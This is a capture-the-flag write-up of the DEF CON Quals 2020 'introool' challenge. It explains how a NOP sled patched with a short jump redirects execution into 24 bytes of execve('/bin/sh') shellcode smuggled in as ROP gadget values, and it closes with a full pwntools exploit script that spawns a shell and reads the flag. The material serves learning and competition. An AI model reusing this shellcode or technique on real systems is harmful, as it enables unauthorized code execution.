This is a PWN + shellcoding challenge (135 pt, 36 solves). I solved this challenge with @ArRu.
one NOP sled + two patches + three ROP gadgets => flag?
introool.challenges.ooo 4242
No files are provided. Let’s nc
and see what happens:
peilin@PWN:~/defcon-quals-2020/introool$ nc introool.challenges.ooo 4242
Insert NOP 🛷 byte in hex (e.g., “90”). The byte must be >= 0x80.
> …
Insert size of 🛷 in hex (e.g., “200”). Valid range is [0x80, 0x800].
> …
🛠️
Insert offset to patch in hex (e.g., “909”): …
Insert value to patch with in hex (e.g., “90”): …
⛏️
Insert offset to patch in hex (e.g., “909”): …
Insert value to patch with in hex (e.g., “90”): …
👌
Insert your three ROP ⛓️ gadgets in hex (e.g., “baaaaaadc0000ffe”).
[1/3] > …
[2/3] > …
[3/3] > …
Now what?
1. 🔬
2. 💥
>
We are supposed to provide one NOP sled, two patch bytes, three ROP gadget addresses, in order to construct an ELF program. If we choose 🔬, the server sends back the ELF file we just created (in base64); If we choose 💥, the server executes it.
By the way an ELF program encoded in base64 looks like this:
[DEBUG] Received 0x761 bytes:
b’f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA6ABAAAAAAABAAAAAAAAAAIgDAAAAAAAAAAAAAEAAOAADAEAACAAHAAEAAAAFAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAsAEAAAAAAACwAQAAAAAAAAAAIAAAAAAAAQAAAAYAAACwAQAAAAAAALABYAAAAAAAsAFgAAAAAAAZAAAAAAAAABkAAAAAAAAAAAAgAAAAAABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAFVIieWQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ60aQkLgAAAAAXcMAAAAAABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEAABwAAAAcAAAAUP///4sAAAAAQQ4QhgJDDQYChgwHCAAAUEgx0kgx9ki7L2Jpbi8vc2hTVF+wOw8FAEdDQzogKFVidW50dSA3LjUuMC0zdWJ1bnR1MX4xOC4wNCkgNy41LjAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAQDoAEAAAAAAAAAAAAAAAAAAAAAAAAMAAgB4AUAAAAAAAAAAAAAAAAAAAAAAAAMAAwCwAWAAAAAAAAAAAAAAAAAAAAAAAAMABAAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADwAAABEAAwCwAWAAAAAAABkAAAAAAAAAHQAAABAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAABAAAwDJAWAAAAAAAAAAAAAAAAAAJAAAABIAAQDoAEAAAAAAAIsAAAAAAAAAKQAAABAAAwDJAWAAAAAAAAAAAAAAAAAAMAAAABAAAwDQAWAAAAAAAAAAAAAAAAAAAGludHJvbGwuZ2VuLmMAcm9wY2hhaW4AX19ic3Nfc3RhcnQAbWFpbgBfZWRhdGEAX2VuZAAALnN5bXRhYgAuc3RydGFiAC5zaHN0cnRhYgAudGV4dAAuZWhfZnJhbWUALmRhdGEALmNvbW1lbnQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAAAAAQAAAAYAAAAAAAAA6ABAAAAAAADoAAAAAAAAAIsAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAIQAAAAEAAAACAAAAAAAAAHgBQAAAAAAAeAEAAAAAAAA4AAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAACsAAAABAAAAAwAAAAAAAACwAWAAAAAAALABAAAAAAAAGQAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAxAAAAAQAAADAAAAAAAAAAAAAAAAAAAADJAQAAAAAAACkAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAIAAAAAAAAAAAAAAAAAAAAAAAAA+AEAAAAAAAAgAQAAAAAAAAYAAAAGAAAACAAAAAAAAAAYAAAAAAAAAAkAAAADAAAAAAAAAAAAAAAAAAAAAAAAABgDAAAAAAAANQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAARAAAAAwAAAAAAAAAAAAAAAAAAAAAAAABNAwAAAAAAADoAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA\n’
[*] Closed connection to introool.challenges.ooo port 4242
Let’s take a closer look at it:
peilin@PWN:~/defcon-quals-2020/introool$ file elf
elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
peilin@PWN:~/defcon-quals-2020/introool$ checksec elf
[*] ‘/home/user/defcon-quals-2020/introool/elf’
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
pwndbg> disass main
Dump of assembler code for function main:
0x00000000004000e8 <+0>: push rbp
0x00000000004000e9 <+1>: mov rbp,rsp
0x00000000004000ec <+4>: nop
0x00000000004000ed <+5>: nop
0x00000000004000ee <+6>: nop
…
0x000000000040016b <+131>: nop
0x000000000040016c <+132>: mov eax,0x0
0x0000000000400171 <+137>: pop rbp
0x0000000000400172 <+138>: ret
End of assembler dump.
We have a chance to change two bytes of the NOP sled into whatever we want.
Very interestingly, the three ROP gadget addresses can be found both in the data segment and the text segment, for whatever reason. It seems that, since the data segment is not page aligned (check with readelf -l
), the same physical memory page, containing both .text
section and .data
section, is mapped to both 0x400000
and 0x600000
, with different permissions. Anyway, this means we can jump to the “executable version” of it (0x4001b0
in my case) and use it as shellcode.
We have 24 bytes for the shellcode. We used this one, which is exactly 24-byte long!
The opcode of a relative short jump (JMP rel8
) is eb
. Don’t put it at the very beginning (or the very end) of NOP sled, otherwise they may be “merged” into other instructions (God bless CISC).
Here’s our full exp:
from pwn import * import base64 OFFSET1 = "7c" PATCH1 = "eb" OFFSET2 = "7d" PATCH2 = "46" p = remote("introool.challenges.ooo", 4242) # Insert NOP sled byte in hex (e.g., "90"). The byte must be >= 0x80. p.recvuntil("> ") p.sendline("90") # Insert size of sled in hex (e.g., "200"). Valid range is [0x80, 0x800]. p.recvuntil("> ") p.sendline("80") # Insert offset to patch in hex (e.g., "909"): p.recvuntil("): ") p.sendline(OFFSET1) # Insert value to patch with in hex (e.g., "90"): p.recvuntil("): ") p.sendline(PATCH1) # Insert offset to patch in hex (e.g., "909"): p.recvuntil("): ") p.sendline(OFFSET2) # Insert value to patch with in hex (e.g., "90"): p.recvuntil("): ") p.sendline(PATCH2) # https://www.exploit-db.com/exploits/42179 A = "504831d24831f648" B = "bb2f62696e2f2f73" C = "6853545fb03b0f05" # Insert your three ROP chain gadgets in hex (e.g., "baaaaaadc0000ffe"). p.recvuntil(").") p.recvuntil("[1/3] > ") p.sendline(A) p.recvuntil("[2/3] > ") p.sendline(B) p.recvuntil("[3/3] > ") p.sendline(C) # Now what? p.recvuntil("> ") p.sendline("2") p.interactive() # p.sendline("1") # prog = base64.b64decode(p.recvall().strip()) # p.close() # success(f"received {len(prog)} bytes!") # with open("elf", "wb+") as f: # f.write(prog)
peilin@PWN:~/defcon-quals-2020/introool$ python3 exp.py
[+] Opening connection to introool.challenges.ooo on port 4242: Done
[*] Switching to interactive mode
$ cat flag
OOO{the_damn_loader_screwed_me_up_once_again}